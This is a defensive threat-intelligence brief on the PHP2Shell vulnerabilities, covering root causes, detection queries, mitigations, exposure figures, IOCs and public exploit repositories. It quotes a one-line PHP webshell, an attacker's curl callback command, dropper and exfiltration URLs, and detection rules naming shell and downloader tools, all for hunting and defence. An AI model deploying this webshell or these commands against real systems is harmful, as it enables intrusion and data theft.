B — session state machineCookie-less PHPSESSID, verbatim progress write, orphaned session file; RCE via app include()Partly survives session.upload_progress is a confirmed consumer of 109619 — but it is the road, not the engine. The logic bugs describe how you reach the stale state, not what frees it.
C — php-src PR #22113The missing use_only_cookies guard is the bugRetired Neither advisory references it. It remains a real, unmerged hardening change with no CVE behind it.
D — var_destroy reentryUnlocked i_zval_ptr_dtor → inner unserialize() reuses freed parser stateRetired Source-confirmed as a defect, but not what these patches fix, and years old — which is why it was never a good fit.
E — calif.io Serializable var_hash UAFMissing BG(serialize_lock)++ in zend_user_unserialize()Retired Also source-confirmed and also not these CVEs. No CVE was ever assigned to it, and PHP's 2017 policy excludes unserialize() memory corruption from security releases. It should be treated as a separate, still-relevant issue.
The uncomfortable finding

The public exploit ecosystem spent roughly twelve hours optimising against Model A — a use-after-free in the session handler — and the WAF rules, the scan tools and and most of the repositories created in the first twelve hours are built on that reading. The actual bug is state corruption during a bailout, upstream of all of it. Anyone who deployed a rule matching PHP_SESSION_UPLOAD_PROGRESS plus PHPSESSID has a rule for one consumer of one of the two CVEs, and nothing for the other.

The session path is still worth blocking — the advisory confirms it — but it is one of several. That is precisely why the vendor says updating is the only complete answer.

What Wiz adds — the four bugs behind the two IDs

The GitHub advisories are one paragraph each. Wiz Research’s write-up, published after the patch, is the first detailed public account, and it splits each CVE into two distinct defects:

CVEDefectMechanism, in Wiz’s terms
109618Upload-progress unserializer UAF“The decoder stores request-owned bookkeeping in BG(unserialize).” A fatal allocation failure destroys the request heap but leaves the unserializer’s global state published; a later request on the same worker treats attacker-reclaimed memory as live bookkeeping.
Process-memory disclosureMultipart parsing runs before module initialisation, so an OOM abort leaves PS(id) pointing at freed memory. A later multipart request has that stale pointer encoded into a PHPSESSID cookie — exfiltrating engine memory, including “passwords, authentication tokens, API keys and certificates”.
109619Fatal-error backtrace UAFThe last fatal error’s backtrace is kept in EG(last_fatal_error_backtrace); an OOM frees the heap without clearing it, and a diagnostic in the next request dereferences the stale pointer.
OPcache type confusionThe local CG(map_ptr_last) frontier advances before the shared frontier is published. An allocation failure in between leaves partially persisted objects pointing at slots other workers consider free.

Two consequences worth stating plainly. First, the cookie is an exfiltration channel: a malformed or over-long PHPSESSID in a response is not cosmetic, it is the memory-disclosure primitive working. Second, Wiz notes that further variants exist and fall under the same CVE identifiers — so patching to the fixed releases is the control, not matching any single one of these four.

Wiz also demonstrated unauthenticated RCE against current WordPress, Drupal and Joomla container images, and states the obvious but important point: “Exploitation does not depend on a flaw in the application’s code.”

Discovery, coordination, and a correction to yesterday’s revision

Wiz Research — Sagi Tzadik, Shir Tamari, Nir Ohfeld and Tomer Schwartz — found the first bug on 19 August 2026 using AI tooling, reported it to PHP on 24 August, and had acknowledgement on 21 September. Coordination ran with the PHP team, Calif and OpenAI, alongside Akamai, AWS, Cloudflare, Fastly, Google, Microsoft, Automattic, Imperva and Vercel.

Retracting a correction — this one is mine, twice over

Yesterday this brief graded @calif_io’s coordination claim as Unconfirmed, then upgraded it to partly-confirmed when reporting credited “Calif, Wiz, and OpenAI security researchers” as co-discoverers. Both readings were wrong in the same direction: they over-credited the account that leaked.

The primary source settles it. Wiz Research discovered and reported the bugs. Calif and OpenAI were coordination participants, not finders. The account that dropped the identifiers and the demo on 20 October, twenty-two hours before the fix, was neither the discoverer nor a bystander — it was a participant in a coordinated disclosure that went early. Credit for the finding belongs to four named Wiz researchers.

The methodological lesson stands and sharpens: a participant who publishes ahead of the embargo will look, from the outside, exactly like the source. Only the vendor’s own account separates them, and it took a full day for that account to arrive.

Open dispute: is 8.5.12 complete?

Unresolved — recorded, not adopted

On 21 October a Fediverse post stated the exploit “still works on 8.5.12”, and the author separately judged it “a different vulnerability… this is another one”. It reached oss-security with the caveat “not yet fully confirmed”, and a follow-up reported that Canonical had asked php.org and been told the issue was “unrelated and not a real issue”, with a request that PHP reconfirm publicly.

As of 02:00 UTC on 22 October there is no PHP reply in the archive, no reproducer, and no technical detail. That is the whole of the evidence. It does not support treating 8.5.12 as vulnerable, and it does not justify closing the incident either. Re-check the oss-security thread before you write your post-incident review.

↑ Back to contents

Detection and hunting

Hunt the effect, not the request

Request signatures are proxies. Process parentage is not. If you read one section of this brief, read this one.

Updated 14:05 UTC — the advisory changes which signal is primary

Before the advisory, the best available detector was the session-file artefact written by one PoC. Now that CVE-2026-109618 is known to be an OOM bailout, there is a better one, and it is not a request signature at all: a memory-exhaustion fatal raised before application code runs. That is the precondition for the bailout that leaves request memory invalid.

The line to look for is the standard allocation failure, and the tell is its location — in Unknown on line 0, because no script has been compiled yet:

Allowed memory size of <N> bytes exhausted (tried to allocate <M> bytes) in Unknown on line 0
Grep every PHP error log, FPM pool log and LiteSpeed STDERR sink for this shape

Two cautions. This fires on legitimate traffic too — a large upload against a tight memory_limit is exactly the benign case — so baseline it and alert on rate and clustering rather than on single events. And if you have already applied memory_limit=-1 as a stopgap, you have blinded this signal: prefer the patched release over the stopgap precisely because the stopgap costs you your best detector.

Added 26 October — the one signal that is not a heuristic

Everything above is a proxy: OOM fatals fire on benign uploads, oversized cookies can be app behaviour, worker crashes happen. A shell process whose parent is the web server is not a proxy. The confirmed capture found it by joining Apache worker PIDs to kernel process events, and it looks like this:

apache2 -> /bin/sh   uid=33   parent.binary=/usr/sbin/apache2
/bin/sh -> id | php -r ... | curl http://<attacker>/pwn-<host> | wget -q -O- ...
Any shell, interpreter or downloader spawning under apache2/httpd/php-fpm/lsphp as www-data is the finding, not the evidence of one

Hunt it on process parentage, not command text: the observed commands changed between id, PHP CLI, curl and wget, and later embedded $(id -un)/$(hostname)/$(uname -m) so that each callback identified its victim. Also note what the capture showed about absence: the successful final request often leaves no completed Apache access-log line, because the worker segfaults after starting the shell. An HTTP 200 on the earlier stages means nothing, and a missing log line is not a missing attack.

The request itself, for the CVE-2026-109618 chain

Datadog reproduced the OOM chain and published the exact body shape. It is short and specific enough to match, and unlike a User-Agent it is dictated by the exploit’s memory layout rather than by author taste:

=<binary value>&a=1&<very long field name>[x]=1
application/x-www-form-urlencoded POST — empty-name field, binary value, then an oversized nested key

Corelight’s open-source Zeek notices encode the same idea behaviourally and are worth taking whole: Large_Form_Key, Multipart_Header_Flood, Serialized_Integer_Overflow, Serialized_Integer_Collisions, Serialized_String_Collisions, Serialized_Duplicate_Array, Serialized_Object_Repetition, PHP_Crash_Sequence and Potentially_Affected_PHP_Version. This is the detection set to deploy if you have HTTP visibility; it does not depend on any IOC and it does not depend on the session path.

Request-level signatures are weak here for a structural reason the advisory now makes explicit: the triggers are ordinary multipart shapes — no usable Content-Length, many headers, empty file controls with nested field names. TLS hides the body, and none of those shapes is anomalous on its own. What does not vary cheaply is what happens next: the OOM fatal, PHP spawning a shell, and PHP writing code into a session file.

Signal 1 — process lineage (highest value)

Any web-server user spawning a shell, a downloader, or an interpreter is worth a look. Expect this to be noisy in shared-hosting and control-panel estates; run it in observe mode first and baseline for a day.

# auditd / EDR equivalent — parent is a PHP SAPI
(parent_process_name IN ("php-fpm","php-cgi","php-cgi.exe","httpd","apache2"))
AND process_name IN ("sh","bash","dash","zsh","curl","wget","nc","ncat",
                     "python","python3","perl","cmd.exe","powershell.exe","certutil.exe")
Generic lineage predicate
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("php-fpm","php-cgi","php-cgi.exe","httpd","apache2")
| where FileName in~ ("sh","bash","dash","curl","wget","nc","python","python3",
                       "perl","cmd.exe","powershell.exe","certutil.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine
Microsoft Defender XDR (KQL)
index=edr sourcetype=process
  parent_process_name IN (php-fpm, php-cgi, httpd, apache2)
  process_name IN (sh, bash, dash, curl, wget, nc, python, perl, cmd.exe, powershell.exe)
| stats count min(_time) as first_seen by host, user, parent_process_name, process_name, process
| where count < 5
Splunk (adapt field names to your TA)

Signal 2 — PHP code inside a session file

In Model B this is the durable artefact: a session file containing an upload_progress_<payload> key. It survives request death only when session.upload_progress.cleanup=0 — the multipart parse bail still fires the cleanup event. This should be near-zero in a healthy estate, but legacy applications do occasionally store markup in sessions — baseline before alerting.

# find session files whose content contains a PHP open tag
grep -rl --include='sess_*' '<?php' /var/lib/php/sessions /tmp 2>/dev/null

# files owned by the web user, written in the last 24h
find /var/lib/php/sessions -name 'sess_*' -mtime -1 -user www-data -type f
Host hunt — read-only

Signal 3 — the in-band warning

The lab reproduction produced a distinctive start-up warning class. If it appears at volume against one vhost, that is worth escalating:

PHP Request Startup: ... in Unknown on line 0
Log string, lab-derived

Signal 4 — request shape (only where TLS terminates)

A multipart body carrying both a form field named PHPSESSID and a PHP_SESSION_UPLOAD_PROGRESS value containing <?php is the shape to look for. Correlate with the absence of a session cookie, and with multipart bodies that abort or exceed the configured part limit.

IndicatorWhy it mattersConfidence
PHPSESSID as a multipart form fieldBypasses use_only_cookies (Model B P1; matches open PR #22113)Medium
PHP_SESSION_UPLOAD_PROGRESS containing <?phpDirect payload carrier into the session fileMedium
Multipart part count over max_multipart_body_partsA parse-bail shape — but the cleanup event still fires, so persistence depends on cleanup=0, not on the bailMedium
POST with no Cookie header yet session-scoped side effectsCookie-less session creationLow
Honest limitation

All of the above is derived from lab write-ups and vendor guidance, not from observed intrusions. None of it has been validated against real adversary traffic, and none of it is a substitute for the vendor advisory landing at 14:00 UTC. Re-baseline the rules against the official root cause before promoting anything from observe to block.

↑ Back to contents

Action plan

What to do now that the patch is out

Patch, restart every worker, leave the mitigation in place. Everything else here is context for those three steps.

Patch — there is nothing else that is complete

  1. Update to 8.5.12, 8.4.27, 8.3.36 or 8.2.35, internet-facing first. PHP's own line is unambiguous: "There are no complete mitigations, updating is the only safe choice."
  2. Restart the SAPI, not just the package. A long-running FPM pool keeps its workers; the 109619 fix is a state reset per request, but the stale-state window is per worker. pm.max_requests=1 is the blunt version if you cannot restart cleanly.
  3. Use the official backports for 7.4 / 8.0 / 8.1. PHP published minimal source backports precisely because those branches will never ship a release. If you depend on rpms.remirepo.net, note PHP's explicit warning that the repo will not have updates today — switch to distribution packages or build from source.
  4. Do not assume your vendor is ahead of you. Distributions and LTS vendors received patches in advance, but backport timing varies. Check each vendor rather than waiting for a mirror to catch up.

If you cannot patch this hour — the vendor's own stopgaps

These reduce exposure to specific paths. They do not make an installation safe, and PHP says so directly. Apply them in this order:

ControlWhich CVE it addressesThe exact form that actually applies
memory_limit=-1109618Set administratively so applications cannot override it — php_admin_value in the FPM pool or Apache config. Then check no pool, directory or app setting puts a finite limit back. Removes the controllable OOM, but a real allocation failure can still reach the path.
Low post_max_size1096188M where uploads are not needed, 32M where they are. Keep upload_max_filesize below it.
Proxy-level request limits109618Cap decoded request size, input-field count, multipart part count, header count and nesting depth — and make them cover requests without a usable Content-Length.
session.upload_progress.enabled=0109619Via php.ini, FPM pool or server config, before request parsing — not ini_set(), not .user.ini. Then restart every worker. Blocks the confirmed session paths only.
fatal_error_backtraces=0109619PHP 8.5 only. Restart every worker. Blocks the confirmed backtrace path only.
Remove per-request invalid settings109619Any invalid or deprecated setting that emits a diagnostic before initialisation is a trigger. Hiding it with error_reporting, display_errors or @ does not help.
Two controls that will hurt you if applied on instinct

Do not add RLIMIT_AS or RLIMIT_DATA. Both are standard hardening for runaway PHP processes and both are explicitly counter-indicated here — they can cause exactly the allocation failure that reaches the vulnerable longjmp() path. Use a container or cgroup limit as the availability boundary instead, with a policy that kills only the affected worker.

Do not lead with the WAF rules. The rules circulating since 02:00 UTC match PHP_SESSION_UPLOAD_PROGRESS with PHPSESSID — one consumer of 109619. They do nothing about 109618, which is triggered by ordinary multipart shapes and has no distinguishing request signature at all.

After — the retrospective hunt

  1. Hunt back to 20 October 15:20 UTC, when the identifiers became public, and to 21 October 01:58 UTC, when the bundle became downloadable.
  2. Check the two artefacts that survive: session files containing <?php, and web-user processes spawning shells.
  3. Watch CISA KEV. A listing would convert every unpatched host from a priority into a deadline.
  4. The dispute about the upload_progress stopgap is now settled, and the pessimists were right. The bundle author said it closes one of two paths, break-the-build said lab testing closed the whole vulnerable path, GMO Flatt Security said it "mitigates only". The advisory sides with GMO Flatt: disabling it "blocks the confirmed session paths but not other variants". It is a partial control, not a fix.
If you can only do one thing today

Find every host where PHP runs under mod_php. That is the SAPI the advisory calls highest risk and the only one where a complete exploit was demonstrated over HTTP on default settings. FPM was not fully exploited, but it was not cleared either — source analysis calls it susceptible. If your estate is FPM-only, your urgency is real but your exposure is one step lower than a prefork mod_php shop's.

↑ Back to contents

Exposure

How much PHP is actually out there

Millions of hosts, roughly a quarter patched, and an older tail that will never receive a vendor fix.

Our own Shodan measurement at 03:52 UTC returned 1,885,866 hosts with http.component:"php". Top countries were the United States (512,387), Germany (123,412), Japan (96,853), Indonesia (89,341) and the Netherlands (63,371). Top networks were Amazon (162,488 + 109,144), DigitalOcean (51,937) and Hetzner (50,097).

That number counts hosts, and shared hosting means the number of affected websites is substantially higher. Mallory's measurement, which also breaks down by PHP branch, reports 1,495,986 version-reporting hosts of which 883,717 (59%) run 8.1 or earlier:

BranchHostsFix available
PHP 5.x368,570None — EOL
PHP 7.x329,358None — EOL
PHP 8.078,955None — EOL
PHP 8.1106,834None — EOL
PHP 8.2224,6818.2.35
PHP 8.3241,7368.3.36
PHP 8.484,3898.4.27
PHP 8.561,4638.5.12

Per-branch figures are Mallory's measurement, reproduced as reported. We could not reproduce them directly: Shodan's version facet on http.component:"php" returns the web server's version, not PHP's. Treat the branch split as a vendor estimate and the 1.89M total as ours.

Context · 26 October

The estate is bigger than your PHP packages, and barely a quarter has patched

Appliances and embedded runtimes are where routine PHP patch cycles do not reach — and where adoption is hardest to measure.

The estate is much larger than the PHP packages you manage

The reason appliances mattered is now confirmed rather than conjectured. Downstream vendors with their own embedded PHP runtimes have published status, and the list is not short:

VendorStatusDetail worth knowing
Palo Alto NetworksPartial — hotfixes shipping 25–30 OctPAN-OS / Panorama management web UI. 8.7, availability-only. Cortex XCORE and WildFire Cloud patched 21–22 Oct.
OraclePartial — alert 25 OctPatches for listed Oracle products and Solaris 11; alert updated as more ship.
QNAPPartial — firmware 24 OctQTS, QuTS hero, QuTScloud, QuMagie, Note Station 3, QNE, QVR. EOL Download Station and the PHP extensions app will never be fixed — uninstall.
CitrixVulnerable, fix pendingNetScaler ADC and Gateway management GUI only (NSIP GUI, management-enabled SNIPs, cluster IP GUI). Restrict management access meanwhile. Console and SVM unaffected.
F5Vulnerable, fix pendingBIG-IP 17.1.0–17.1.3, 17.5.0–17.5.1, 21.1.0 — configuration utility and APM page templates.
CiscoMostly not vulnerableOnly Ultra-Reliable Wireless Backhaul (fix 27.1.1, Feb 2027, admin-auth required) and Expressway (fix 15.5.21, undated). ISE, SD-WAN Manager, Meraki, Umbrella, Webex, IOS-XE/XR, NX-OS, Secure Firewall, UCS confirmed not vulnerable.
Check Point / Synology / Okta / Peplink / LiteSpeedFixed or partialsk1000302; DSM 7.2–7.4 PHP packages (7.3 no fix); OAG 2026.44.0; ICVA 2.14.4 and Edge 8.6.1s042; 6.3.7 build 5/6 bundled admin_php.
Linux distributionsFixedDebian, Fedora, Gentoo, Ubuntu, Red Hat (RHSA-2026:87151), Slackware, SUSE; deb.sury.org backports down to 5.6.

Scale of the tracking problem: NCSC-NL maintains a machine-readable product list — github.com/NCSC-NL/php2shell, TLP:CLEAR, with SPDX sources — reporting roughly 750 products as of 23 October: about 109 fixed, 220 vulnerable, 389 under investigation and 30 not affected. That is the practical answer to “how do I know if I run PHP?”: assume you do, then go and check the appliances. Rapid7’s Velociraptor artifact Generic.Applications.PHPInventory covers the hosts; these advisories cover the boxes you cannot log into.

Did anyone actually patch? Two measurements

For once there is adoption data rather than anecdote.

  • Vu Agency scanned ~1M sites (22–23 October) that had previously advertised a pre-fix PHP version. Of 824,947 that still returned a version: 24% showed a fixed release, and a further 23% were on Hostinger and judged likely patched because Hostinger applied the fix without changing the version string. Roughly half showed an older number whose patch state cannot be determined externally — because CloudLinux and Plesk backports keep the old version number. 139,706 returned nothing.
  • Qualys, across anonymised data from 12,000 customers, counted 199,000 PHP instances patched within 12 hours of disclosure — against roughly 110 million instances (71%) on end-of-life PHP 5.4–8.1 that will never receive a vendor fix, plus another 44 million on supported branches with a patch available and unapplied.

Treat external patch measurement as a floor, not a census. Version strings are the wrong instrument for backported fixes in both directions: it under-counts patched CloudLinux and Hostinger hosts and over-counts nothing. The 24% figure is a lower bound on a sample that was already known to be exposed.

What the practitioner conversation is saying — social media, read 26 October

Collected because press coverage and social coverage diverged sharply on this incident. Reachability is stated per source, because a blocked page and an empty page both return 200:

SourceStateWhat it contributed
Mastodon — #php2shell tag timeline via the Status APIRead — 30 statuses, 25–26 OctThe most useful channel. Practitioner critique of the honeypot write-up, scepticism of the AI narrative, vendor-alert relaying, and the weekly CVE round-up.
Hacker News — Algolia APIReadSurfaced the honeypot report, The Register’s third-bug piece, and the Politico and 404 Media features before search indexes caught up.
BlueskyNot usableDirect search API returned 403. Bluesky posts are nonetheless visible through bsky.brid.gy bridge accounts that mirror them onto Mastodon — that is how the #PHP2Shell posts above were read. Completeness of the bridge is Unknown.
X / TwitterNot usableLogin-walled; mirror fetches return a Cloudflare challenge, not post text. Only the search index reaches it. “Not seen on X” is a statement about an index, never about the platform.
RedditNot usable403 interstitial. Not read this run.
TelegramUnexecutedNo channel identified for this topic; not queried, therefore not a negative.

Four themes, and one that should be discarded:

  1. The AI-exploit narrative is being pushed back on by practitioners, not amplified. The dominant security-community framing is that AI assistance shortened discovery and analysis but did not hand anyone an exploit. “Anyone claiming ‘AI removed the cost’ for the binary analysis and exploitation of PHP2Shell doesn’t know ball” is representative; a German-language thread makes the same argument at length. This sits directly against the 404 Media and Politico angles (“AI Is Changing Everything About Hacking”), and it is corroborated by the technical record: Sophos found building a working exploit hard even with AI support, and the successful chain above still needed hand-tuned offsets and a favourable target.
  2. The honeypot write-up was met with immediate, correct methodological criticism — the single-worker, tight-memory configuration is not a normal production target. That criticism does not weaken the finding; it explains the gap between “exploited at scale” and “no compromises”, which is the single most useful analytical result of the week. Read the two together.
  3. Retraction lag is a live misinformation mechanism. The Unit 42 intrusion story propagated for roughly twelve hours before the correction, and social posts carrying the un-retracted version were still circulating a day later. The same happened on a smaller scale with Sophos on 22 October. On this incident, advisories moved faster than the conversation about them.
  4. Collateral effects are showing up outside security reporting. A game project, SuperTuxKart, took its servers offline and is rebuilding in Python; the Internet Archive, Orange, ANA, Swiss host Cyon (>100,000 sites) and 32 UK government services took precautionary action. This is the “hundreds of websites” claim from 21 October, now with named examples.

↑ Back to contents

↑ Back to contents

Indicators

IOCs exist — in honeypot telemetry, not in threat feeds

Eleven graded addresses, a larger ungraded lead set, and the artefacts that survive address rotation. Start with the artefacts.

Superseded in part, 26 and 28 October. The eleven addresses below were the complete public set on 22–23 October and remain the only ones with full per-entity enrichment. A larger set — telescope and honeypot telemetry, dropper URLs, payload hashes, request-body digests — is in the 26 October update, and the twelve execution- and attempt-stage addresses are now graded blocklist rows (see the 28 October update). The telescope dropper URLs, the Nim implant hash and the request-body digests remain leads, not exported rows — they are hunt material, and padding a blocklist with unenriched dropper hosts would not improve it.

Correction to every earlier revision of this brief

This section previously said there were no IOCs. That was wrong, and the reason it was wrong is worth keeping: we queried threat-intelligence feeds — ThreatFox, OTX, URLhaus — and they returned zero, because they index malicious infrastructure and published blocklists. They do not index attacking hosts observed by canary and honeypot operators. Two such operators published concrete indicators on 21 October: VulnCheck Canary and Amazon Threat Intelligence (MadPot). Both re-checked at 02:30 UTC: ThreatFox still returns no_result for the addresses as well as for the CVE IDs — the feeds have nothing on these hosts either.

The lesson: “no IOCs” from four feeds is a statement about four feeds. A negative in a blocklist aggregator says nothing about whether anyone has published an attacking host.

Network indicators — two independent published sets, eleven addresses

GreyNoise column measured directly by us at 02:35 UTC on 22 October via the community API, and it is the most useful column here: it separates the mass scanners from the operators who actually tried to exploit.

AddressASN / ownerPublished byObservedWhat it didGreyNoise
85.11.167.243AS209630 TechTies, NLVulnCheck21 Oct 08:37–10:46Multipart POST /index.php with UA php2shell-scan/109618 against 9 hosts, then a 58-host GET / sweep rotating four browser UAs. Reached 188 canaries.noise · malicious
45.198.224.169AS215925 VPSVAULT.HOSTVulnCheck21 Oct 14:15–15:52Same UA and multipart POST against 2 hosts; then 13-byte bodyless POSTs with no UA against 3 hosts. 26 canaries.noise · malicious
109.71.252.97Datalix, DEVulnCheck21 Oct 15:55PHP-info discovery sweep — /phpinfo.php, /info.php, /php.php, /test.php — then a randomised /php2shell-probe-.php and .txt.noise · malicious
91.90.123.25AS9009 M247, BEVulnCheck21 Oct 17:23GET /vuln.php (404), GET /index.php, POST / with UA php2shell-verify/1.0.noise · suspicious
221.14.159.134AS4837 China Unicom, HenanVulnCheck21 Oct 17:22–17:24The one actual exploitation attempt. Webshell planted via PHP_SESSION_UPLOAD_PROGRESS, then ten GET /download.php?file=php://filter/… read-backs — all 404. UA Mozilla/5.0 (php2shell-poc).not observed
103.216.220.92commercial anonymisation networkAWS MadPot17 Oct — pre-disclosureExploitation attempt four days before public disclosure. The most significant single indicator in the case.not observed
31.223.184.166
37.19.200.5
134.209.159.64
103.114.163.188
95.217.98.37
anonymisation / VPSAWS MadPot21 Oct 02:00–08:00Post-embargo attempts with differing payloads and anonymisation choices — AWS reads this as “multiple actors”.not observed

The split in the last column is the finding. GreyNoise's sensor corpus has the four scanners and neither of the two hosts that actually attempted exploitation. That is a coverage statement about GreyNoise, not a clearance for those addresses — the same discipline this brief applies elsewhere. Two of these addresses are the only ones that matter operationally, and no reputation instrument covers them.

New indicators, from telescope and honeypot telemetry

These are published here for hunting and retro-matching. The execution- and attempt-stage addresses among them are now graded export rows (28 October update); the telescope dropper hosts, the Nim implant hash and the request-body digests remain leads, not blocklist rows — they are unenriched, and padding a blocklist with them would not improve it. The most valuable of them corroborate each other across independent sensors rather than adding new addresses.

IndicatorTypeRoleSource
15.204.59.70IPConfirmed shell, 3×, 24 Oct 15:35–16:04 UTC. OVH US, PTR vps-b225fb62.vps.ovh.usphpot honeypot
162.35.99.94IPConfirmed shells, 32×, 24 Oct 16:46–18:57 UTC. Interserver, PTR vps3749638.trouble-free.netphpot honeypot
104.28.208.84
144.48.4.242
IPExploit-shaped requests, worker crashes, no shell — attempt indicators onlyphpot honeypot
45.74.7.227IPDropper collector: /collect/p2srun.php?w=p2s<sensor> with stage=diag variants; 159+76+83 requests, 16 source IPsDelft TI telescope
217.60.102.5IPDropper host https://217.60.102.5/sh — 3,561 requests from 4 source IPs, the busiest single payload URL observedDelft TI telescope
176.65.139.153IPDropper /wget.shDelft TI telescope
217.15.162.38:27182
87.251.64.204:7716
185.225.191.232
45.115.26.26:8000
IP:portSingle-source droppers — /srl.sh, /issue, /i, /c, /cCmono, /cClarDelft TI telescope
92.118.112.100IP/nfs and /s. Cross-sensor confirmation — the same /nfs host Sophos published on 22 OctoberDelft TI + Sophos
hana.byDomainDropper host in the same setDelft TI telescope
pastebin.com/raw/wCYGVCBGURLSecond-stage retrieval via Pastebin; 71 requests. Expect rotationDelft TI telescope
webhook.site/c8370342-2a5c-489c-a0d3-35930cc2bc54URLExfiltration/beacon endpoints (8 distinct paths, 2 requests each) — free service, no attribution valueDelft TI telescope
SHA-256 0c5486f0…d1486HashPotassium nfs, Mirai-derived DDoS bot — matches the Sophos sample independentlyDelft TI + Sophos
SHA-256 7d9965de…f100a9HashMirai variant 2.0.4_socks5; fallback C2 accepted the bot without issuing a commandDelft TI telescope
SHA-256 a5289abe…95fc3afHashNim implant crong3-agent 3.0.0-929, masquerading as sysmon, persistent; C2 discovery via Ethereum ENS and a Solana account, avoiding ordinary DNS. Qualitatively different from the Mirai payloads — this is not a DDoS bot.Delft TI telescope
SHA-256 f0aa83bb…6c18d987HashUnknown sample; DNS-over-TLS, one encrypted message to a non-responding serverDelft TI telescope
206.188.197.105:9999IP:portAn operator’s working directory, left browsable — aslr_exploit.py, php2shell_fp.py, deep_probe.py, wp_attack.py. Unattributed; SOCRadar reads the operator as financially motivatedSOCRadar, 22 Oct
204.76.203.7IPp2s-rider-marked upload-progress probes against GlobalProtect honeypots — a distinct tool buildDefused Cyber

Two request-body digests for retro-matching, computed over the decoded multipart body rather than the wire bytes. The first three stages were byte-identical across both source clusters and all three targets, which is what makes them useful:

8e8fc166e6b326d20bb7611d8ef3cee3bd5da46447985312c1492ab0a44d1eb6  A1  memory pressure, 1,060,211 B
b6c547e0e9a2bb26607df1521de96f4d5c9adf4621c28b7ab491587b21ae40f2  B1  disclosure,     33,128,677 B
7af66c8f35c5fa6b47a539da6dca361d19543d9f62d61e4af891c2802bd5e236  A2  memory pressure,    279,369 B
B2 varies with the target’s leaked address range — deliberately, and that is the exploit working as designed

The telescope census, for scale: Delft Threat Intelligence Lab reports 40,848 exploitation requests from 561 source IPs across 263 ASNs in 67 countries between 21 October 08:37 and 26 October 01:35 UTC, peaking at 2,116 requests in the hour of 21 October 21:00, with 168 source IPs having delivered code or a dropper URL. Two IPs account for 49 requests before the fixed releases shipped — an independent second sighting of the pre-disclosure activity AWS reported. CrowdSec, counting differently, has 513 IPs, escalated to “Rapid Escalation” on 23 October and now describes volume as “significantly declined” and below the long-term average. Both are consistent: a sharp spike that decayed once patching caught up.

Request and session artifacts

ArtifactValueNotes
User-Agentsphp2shell-scan/109618, php2shell-scan/1.3 (eigen-oppervlak controle; CVE-2026-109618/109619), php2shell-verify/1.0, Mozilla/5.0 (php2shell-poc)Tool-specific and trivially rotated. The Dutch phrase means “own-surface check”, which suggests at least one of these scanners was an authorised self-assessment — do not treat the UA alone as hostile.
Session IDxqsuvwz3n97wu8j3emz1axuo5y → sess_xqsuvwz3n97wu8j3emz1axuo5yDurable: survives request death. Check session.save_path for that filename.
Multipart boundary------p2s9rdme2st6guc9g0raficRandom per run, but distinctive in logs.
Upload filenamesp2s.txt, parts a and bPart a is the payload; b is 64 bytes.
Sweep paths/index.php, /, /vuln.php, /phpinfo.php, /info.php, /php.php, /pi.php, /test.php, /i.php, /php2shell-probe-<random>.phpReconnaissance grammar. Cheap to alert on as a sequence, noisy on any single hit.
Exploit read-backGET /download.php?file=php://filter/…Session-file exfiltration attempt; 10 per run in the observed case.
Success markerPWNED:: in the response bodyThe webshell echoes it. A PWNED:: in your logs is an executed webshell, not an attempt.

File and content hashes — VulnCheck Canary

SHA-256 of uploaded multipart parts. Useful for retro-hunting request bodies, not for endpoint scanning.

150ae88f0999032e2a6113501d6082f54a3ed98d02427b21a96e773a27d7bf16  part "a", 10370 B  (both scanning sources)
40caf199ca1ebe056a74427f8e9db06c66899e33ae09c0ec2769ec70bf6dd8e7  part "a",  8922 B  (45.198.224.169)
27d926a6708d6769d97d065e7a5a860ab496eab272c03d1cebc55ec71b954fa2  part "b",    64 B  (both)
1485e14e0f62bc94664eec341cabd275dad7d30b1d496c40ec340c9a0d9f0ba8  request body, 13 B (45.198.224.169)
From VulnCheck’s published Canary data; not re-derived here

The webshell they drop

<?php echo 'PWNED::'; system($_GET['c']); ?>
Planted through PHP_SESSION_UPLOAD_PROGRESS; executed on read-back

Note what this is: not an exploit of the memory-corruption primitive at all, but the session-poisoning chain that was Models A and B in Appendix A. The attacker writes a PHP file into the session store and then tries to read it back through a php://filter path. In VulnCheck’s observed run it failed — all ten reads 404 — because the target had no include sink to turn the file into execution.

How to use these without generating your own incident

Do not block the AWS addresses. Amazon is explicit that they are shared anonymisation infrastructure “not exclusive to this threat activity” and advises investigating observations rather than blocking. The same caution applies to 37.19.200.5 and 95.217.98.37, both large commercial VPN egress.

Prioritise two. 221.14.159.134 and 103.216.220.92 are the only addresses here recorded as attempting exploitation rather than scanning. Neither has a GreyNoise classification.

Hunt the artifacts, not the addresses. A session file named sess_xqsuvwz3n97wu8j3emz1axuo5y, a PWNED:: response, or a /php2shell-probe-*.php request in your logs is worth more than the IP list — addresses rotate, the tool’s grammar does not.

↑ Back to contents

Exploit availability

Public exploit code is real, unaudited, and mislabeled

This is the part that changes the operational picture. Exploit tooling is not theoretical here — it is downloadable, and it has been for hours.

ArtefactFirst seen (UTC)What it containsAssessment
jackalsyn.com bundle 21 Oct 01:58
re-up 03:24
39.7 MB: framework, poc0_109618.py, poc1_109619.py, trigger, three LiteSpeed debug-symbol files, plus validation docs Withdrawn URL returns HTTP 404 since 13:32 UTC; page now advertises a fourth checksum that has never matched
Zer061/CVE-2026-109618 21 Oct 03:06 Mirror of the bundle; README cites jackalsyn as source Same content, same caveats
19h/CVE-2026-109618 21 Oct 03:22 Independent chain: driver, RCE chain, probe, payload snapshot, PHP error log Claims Model A falsified; lab-only, needs an app sink
9bie/php2shell-bypass-aslr-exp 21 Oct 11:11 One exploit.py against php:8.4.26-apache; claims HTTP-only, no session_start() on the target, self-read libphp offsets, uid=33(www-data) Unverified single author, no independent repro; needs display_errors=1 — the display_errors=0 path is only a heap leak so far
daffa001/…-109618-109619 21 Oct 09:36 38.9 MB — by size and shape another copy of the withdrawn bundle, with archives/, evidence/ and SHA256SUMS Unverified third-party mirror of an artefact its author has now removed
Icex0/php2shell-poc 20 Oct 23:26 Empty repository Placeholder — name-squatting
ovtechnology/php2shell-check 21 Oct 00:52 Version/header auditor Inventory tool, not an exploit
mikensec/php2shell-lab 21 Oct 03:36 Sealed Docker lab; ships no exploit, emits PCAP/strace/YARA inputs Defensive — safe to use
FulcanelliR/PHP2Shell-Emergency-Patch 21 Oct 03:46 Mitigation one-liner Mitigation only
0ldbaby/php2shell 21 Oct 03:31 46-byte README Placeholder
Unkn0vv/php2shell — Named by CVE aggregators; API returns 404 Private, renamed or removed
Integrity warning — the artefact has been swapped at least once

Three distinct values are now in play, and the advertised checksum has matched the served file at no point we could observe:

